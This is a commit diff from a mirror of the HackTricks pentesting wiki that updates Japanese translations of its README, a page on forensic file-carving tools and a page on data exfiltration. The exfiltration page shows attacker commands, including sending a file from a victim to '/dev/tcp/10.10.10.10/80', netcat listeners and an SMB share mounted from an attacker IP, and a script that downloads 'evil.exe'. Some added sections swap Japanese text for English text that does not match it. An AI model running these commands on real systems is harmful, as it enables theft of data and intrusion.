mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['README.md', 'forensics/basic-forensic-methodology/partition
This commit is contained in:
parent
4a41546b66
commit
be3b673a98
43 changed files with 1972 additions and 1341 deletions
68
README.md
68
README.md
|
@ -1,65 +1,67 @@
|
|||
# ハックトリックス
|
||||
# ハックトリック
|
||||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_
|
||||
|
||||
{% hint style="success" %}
|
||||
**CTF、実際のアプリ、リサーチ、ニュースから学んだハッキングトリック/テクニック/その他を見つけるウィキへようこそ。**
|
||||
{% endhint %}
|
||||
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけるこちらのページに従ってください:
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**が記載されているこのページに従ってください:
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## プラチナスポンサー
|
||||
|
||||
_あなたの会社がここに掲載されるかもしれません。_
|
||||
|
||||
## コーポレートスポンサー
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**をスローガンに掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
|
||||
彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。
|
||||
|
||||
**STM Cyber** は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
**STM Cyber**は、HackTricksなどのサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
|
||||
***
|
||||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。技術的知識を促進する使命を持ち、このカンファレンスはあらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
***
|
||||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** は **ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
**Intigriti**は、**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
|
||||
**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
***
|
||||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**できます。
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**できます。
|
||||
|
||||
今すぐアクセスしてください:
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
***
|
||||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -70,10 +72,10 @@ _あなたの会社がここに掲載されるかもしれません。_
|
|||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
|
||||
|
||||
**リアルタイムのハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じてハッキングの世界を最新の状態に保つ
|
||||
リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドについていく
|
||||
|
||||
**最新の発表**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
|
||||
**最新のアナウンスメント**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手
|
||||
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
|
||||
|
||||
|
@ -83,21 +85,31 @@ _あなたの会社がここに掲載されるかもしれません。_
|
|||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能で完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げ、シェルをポップして楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を備えた完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業であり、**現代的なアプローチ**で**世界中の企業を最新のサイバーセキュリティ脅威から保護**するのを支援しています。
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威**に対して**世界中の企業を保護**するために、**現代的なアプローチ**で**攻撃型セキュリティサービス**を提供しています。
|
||||
|
||||
WebSecは**すべてを手掛けるセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託などを提供しています。
|
||||
WebSecは**オールインワンのセキュリティ企業**であり、すべてを行います。ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など。
|
||||
|
||||
WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信**を持っており、その程度まで**最高品質の結果を保証**しています。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
|
||||
上記に加えて、WebSecはHackTricksの熱心な支持者でもあります。
|
||||
上記に加えて、WebSecはHackTricksの**熱心な支持者**でもあります。
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
|
@ -113,12 +125,12 @@ WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebS
|
|||
|
||||
<summary><strong>**[htARTE(HackTricks AWS Red Team Expert)](https://training.hacktricks.xyz/courses/arte)**でAWSハッキングをゼロからヒーローまで学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで会社を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独自の[NFTs](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**しましょう。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,21 +6,29 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **ハッキングテクニックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 彫刻と回復ツール
|
||||
|
||||
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります。
|
||||
|
||||
### Autopsy
|
||||
|
||||
フォレンジックで最も一般的に使用されるファイルをイメージから抽出するツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。
|
||||
ファイルをイメージから抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
|
@ -35,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
別の一般的な隠しファイルを見つけるためのツールは **foremost** です。Foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで構成されたファイルタイプを検索します。
|
||||
もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。 foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -52,44 +60,44 @@ scalpel file.img -o output
|
|||
|
||||
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
このツールは画像をスキャンし、その中に含まれる**pcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や他の**ファイル**を抽出することができます。以下の手順のみを行う必要があります:
|
||||
このツールは画像をスキャンし、その中から**pcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や他の**ファイル**を取得することができます。行う必要があるのは以下の通りです:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
### PhotoRec
|
||||
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で入手できます。
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)で見つけることができます。
|
||||
|
||||
GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。
|
||||
GUIとCLIバージョンが付属しています。PhotoRecが検索する**ファイルタイプ**を選択できます。
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
### binvis
|
||||
|
||||
[コード](https://code.google.com/archive/p/binvis/) と [ウェブページツール](https://binvis.io/#/) を確認してください。
|
||||
[コード](https://code.google.com/archive/p/binvis/)と[ウェブページツール](https://binvis.io/#/)をチェックしてください。
|
||||
|
||||
#### BinVis の特徴
|
||||
#### BinVisの特徴
|
||||
|
||||
- ビジュアルでアクティブな**構造ビューア**
|
||||
- 異なる焦点点のための複数のプロット
|
||||
- サンプルの一部に焦点を当てる
|
||||
- PE または ELF 実行可能ファイル内の**文字列とリソース**を見る
|
||||
- PEやELF実行可能ファイルで**文字列やリソース**を見る
|
||||
- ファイルの暗号解析のための**パターン**を取得
|
||||
- パッカーやエンコーダーアルゴリズムを**特定**
|
||||
- パターンによるステガノグラフィの**識別**
|
||||
- パッカーやエンコーダーアルゴリズムを**見つける**
|
||||
- パターンによるステガノグラフィを**特定する**
|
||||
- **ビジュアル**バイナリ差分
|
||||
|
||||
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。
|
||||
BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。
|
||||
|
||||
## 特定のデータカービングツール
|
||||
|
||||
### FindAES
|
||||
|
||||
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。
|
||||
TrueCryptやBitLockerで使用されるような128、192、256ビットのキーを見つけるために、キースケジュールを検索することでAESキーを検索します。
|
||||
|
||||
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)できます。
|
||||
|
||||
## 付随するツール
|
||||
|
||||
[**viu** ](https://github.com/atanunq/viu)を使用してターミナルから画像を表示できます。\
|
||||
Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。
|
||||
Linuxコマンドラインツール**pdftotext**を使用して、PDFをテキストに変換して読むことができます。
|
||||
|
|
|
@ -2,21 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**や[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## 情報の外部への持ち出しに使用される一般的にホワイトリストに登録されたドメイン
|
||||
**Try Hard Security Group**
|
||||
|
||||
一般的に悪用される可能性のあるホワイトリストに登録されたドメインを見つけるには、[https://lots-project.com/](https://lots-project.com/)をチェックしてください
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 情報の外部への持ち出しによくホワイトリスト登録されているドメイン
|
||||
|
||||
[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できるよくホワイトリスト登録されているドメインを見つける
|
||||
|
||||
## Base64のコピー&ペースト
|
||||
|
||||
|
@ -177,27 +185,19 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
## Exfiltration Techniques on Windows
|
||||
## Exfiltration
|
||||
|
||||
### Exfiltration via DNS
|
||||
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
|
||||
|
||||
DNS exfiltration involves encoding data within DNS queries or responses to leak information out of a target network. Tools like **Dnscat2** can be used to establish a covert channel for exfiltration.
|
||||
- **Email**: Sending data as email attachments.
|
||||
- **FTP**: Transferring data using the File Transfer Protocol.
|
||||
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
|
||||
- **DNS**: Using DNS requests to encode data.
|
||||
- **Steganography**: Hiding data within other files or images.
|
||||
- **Cloud Storage**: Uploading data to cloud storage services.
|
||||
- **External Drives**: Copying data to external drives for physical exfiltration.
|
||||
|
||||
### Exfiltration via SMB
|
||||
|
||||
SMB (Server Message Block) can be abused to exfiltrate data by transferring files to an external server controlled by the attacker. Tools like **Responder** can help capture SMB traffic for exfiltration purposes.
|
||||
|
||||
### Exfiltration via HTTP/HTTPS
|
||||
|
||||
HTTP/HTTPS protocols can be utilized to exfiltrate data by sending encoded information to a remote server. Tools like **Cobalt Strike** provide features for exfiltrating data over HTTP/HTTPS.
|
||||
|
||||
### Exfiltration via Email
|
||||
|
||||
Email can be used as a means of exfiltrating data by sending sensitive information as attachments or within the email body. Tools like **Outlook** can be leveraged for this purpose.
|
||||
|
||||
### Exfiltration via FTP
|
||||
|
||||
FTP (File Transfer Protocol) can be exploited to exfiltrate data by transferring files to a remote server. Tools like **FileZilla** can facilitate data exfiltration via FTP.
|
||||
It is essential for hackers to choose exfiltration methods carefully to avoid detection and successfully transfer data without being noticed.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -221,7 +221,33 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
|||
```
|
||||
## NC
|
||||
|
||||
NC(Netcat)は、ネットワーク通信を行うための便利なツールです。リバースシェルを作成したり、ファイルを転送したりする際に使用されます。
|
||||
### Data Exfiltration
|
||||
|
||||
#### Description
|
||||
|
||||
The Netcat utility, or `nc`, is a versatile tool that can be used for data exfiltration. Netcat can create a connection between a source and destination, allowing for the transfer of data between them. This can be leveraged by an attacker to exfiltrate sensitive information from a target network.
|
||||
|
||||
#### Methodology
|
||||
|
||||
1. **Listener Setup**: The attacker sets up a listener on a machine outside the target network using Netcat.
|
||||
|
||||
2. **Data Transfer**: The attacker then establishes a connection from the compromised machine within the target network to the listener set up in step 1.
|
||||
|
||||
3. **Exfiltration**: Once the connection is established, the attacker can start exfiltrating data by sending it through the Netcat connection to the listener.
|
||||
|
||||
4. **Receiving Data**: The listener outside the target network receives the exfiltrated data, allowing the attacker to access the sensitive information.
|
||||
|
||||
#### Detection
|
||||
|
||||
- Monitor network traffic for any suspicious connections to external machines.
|
||||
- Look for unusual patterns of data transfer, especially to unknown destinations.
|
||||
- Implement egress filtering to restrict the flow of data leaving the network.
|
||||
|
||||
#### Prevention
|
||||
|
||||
- Implement strict firewall rules to limit outgoing connections.
|
||||
- Use network segmentation to isolate sensitive data from other parts of the network.
|
||||
- Conduct regular security assessments to identify and address vulnerabilities that could be exploited for data exfiltration.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -233,7 +259,7 @@ nc -vn <IP> 4444 < exfil_file
|
|||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### ターゲットにファイルをアップロード
|
||||
### 被害者へのファイルアップロード
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
|
@ -268,7 +294,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
|||
```
|
||||
## TFTP
|
||||
|
||||
XPおよび2003ではデフォルトで(他のOSではインストール中に明示的に追加する必要があります)
|
||||
XPおよび2003ではデフォルトで有効(他のOSではインストール時に明示的に追加する必要がある)
|
||||
|
||||
Kaliでは、**TFTPサーバーを起動**します:
|
||||
```bash
|
||||
|
@ -294,9 +320,9 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
|
|||
```
|
||||
## VBScript
|
||||
|
||||
### VBScript
|
||||
### VBScript Exfiltration
|
||||
|
||||
VBScriptは、Windowsシステムで使用されるスクリプト言語であり、悪意のあるアクターがデータを外部に送信するために使用することができます。VBScriptを使用して、ファイルをエンコードし、HTTP POSTリクエストを介して外部のWebサーバーに送信することができます。
|
||||
VBScript can be used to exfiltrate data from a compromised system. This can be achieved by encoding the data and sending it to an external server controlled by the attacker. VBScript can interact with the file system and network resources, allowing for the exfiltration of sensitive information.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -334,26 +360,38 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**を持っています。これは、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できることを意味します。ただし、重要な点として、debug.exeには**64 kbまでのファイルをアセンブリするという制限**があることに注意する必要があります。
|
||||
`debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**も持っています。つまり、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できます。ただし、`debug.exe`は**64 kbまでのファイルの組み立てに制限がある**ことに注意することが重要です。
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
```markdown
|
||||
次に、テキストをWindowsシェルにコピーして、nc.exeというファイルが作成されます。
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
## DNS
|
||||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
